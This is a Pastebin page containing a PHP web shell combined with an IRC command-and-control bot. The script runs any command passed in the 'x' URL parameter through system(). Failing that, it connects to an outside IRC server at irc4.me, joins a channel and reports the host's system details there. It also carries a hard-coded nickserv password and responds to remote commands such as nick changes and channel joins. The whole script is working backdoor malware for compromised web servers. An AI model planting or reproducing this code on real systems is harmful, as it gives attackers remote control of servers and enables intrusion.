Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if($_GET['x'])
- {
- echo system($_GET['x']);
- }
- else
- {
- set_time_limit(0);
- $server = "irc4.me"; //server
- $port = 6667; //port
- $chan = "#Chat"; //kanal
- $nick = "MuHaR";
- $pwd = "sifra";
- $date = date("F j, Y, g:i a");
- $uname = php_uname();
- $ident= "Gost";
- $ihost="irc4.me";
- $realname = "Znaci #Zemun !"; //realname
- $nickreal = "Gost_".(rand()%1000000);
- $socket = fsockopen("$server", $port);
- fputs($socket,"USER ".$ident."@".$ihost." bla bla :".$realname."\n");
- fputs($socket,"NICK $nick\n");
- fputs($socket,"PRIVMSG nickserv identify ".$pwd."\n");
- fputs($socket,"MODE ".$nick." +p\n");
- fputs($socket,"JOIN ".$chan."\n");
- fputs($socket,"JOIN ".$chan."\n");
- fputs($socket,"JOIN ".$chan."\n");
- fputs($socket,"JOIN ".$chan."\n");
- fputs($socket,"JOIN ".$chan."\n");
- fputs($socket,"JOIN ".$chan."\n");
- fputs($socket,"JOIN ".$chan."\n");
- fputs($socket,"NICK ".$nickreal." \r\n");
- while(1) {
- while($data = fgets($socket,128)) {
- flush();
- $ex = explode(' ', $data);
- $rawcmd = explode(':', $ex[3]);
- $oneword = explode('<br>', $rawcmd);
- $channel = $ex[2];
- $nicka = explode('@', $ex[0]);
- $nickb = explode('!', $nicka[0]);
- $nickc = explode(':', $nickb[0]);
- $host = $nicka[1];
- $nick = $nickc[1];
- if($ex[0] == "PING"){
- fputs($socket, "PONG ".$ex[1]."\n");
- }
- $args = NULL; for ($i = 4; $i < count($ex); $i++) { $args .= $ex[$i] . ' '; }
- if ($rawcmd[1] == ".cire") {
- fputs($socket, "PRIVMSG ".$channel." :".$args." \n");
- }
- elseif ($rawcmd[1] == ".md5") {
- fputs($socket, "PRIVMSG ".$channel." :14Encoded9[+]4".md5($args)."\n");
- }
- elseif ($rawcmd[1] == ".b64e") {
- fputs($socket, "PRIVMSG ".$channel." :14Encoded9[+]4".base64_encode($args)."\n");
- }
- elseif ($rawcmd[1] == ".b64d") {
- fputs($socket, "PRIVMSG ".$channel." :14Decoded9[-]11".base64_decode($args)."\n");
- }
- elseif ($rawcmd[1] == ".udji") {
- fputs($socket, "JOIN :".$args."\n");
- }
- elseif ($rawcmd[1] == ".umri") {
- fputs($socket, "QUIT \r\n");
- }
- elseif ($rawcmd[1] == ".izadji") {
- fputs($socket, "PART :".$args."\n");
- }
- elseif ($rawcmd[1] == ".rnd") {
- fputs($socket, "NICK $nickreal\r\n");
- }
- elseif ($rawcmd[1] == ".nick") {
- fputs($socket, "NICK ".$args."\r\n");
- }
- elseif ($rawcmd[1] == ".time") {
- fputs($socket, "PRIVMSG ".$channel." :9,14".$date."\r\n");
- }
- elseif ($rawcmd[1] == ".uname") {
- fputs($socket, "PRIVMSG ".$channel." :9,14 ".$uname."\r\n");
- }
- elseif ($rawcmd[1] == ".pvt") {
- fputs($socket, "PRIVMSG ".$args." :9,14".$args."\r\n");
- }
- elseif ($rawcmd[1] == ".ntc") {
- fputs($socket, "NOTICE ".$args." :".$args."\r\n");
- }
- elseif ($rawcmd[1] == ".about") {
- fputs($socket, "PRIVMSG ".$channel." :9,14This bot is made for krstarica by fx0...Nothing special!!!\r\n");
- }
- }
- }
- }
- //Shows the text in the browser as Time - Text
- echo nl2br(date('G:i:s')."-".$data);
- //Flush it out to the browser
- flush();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment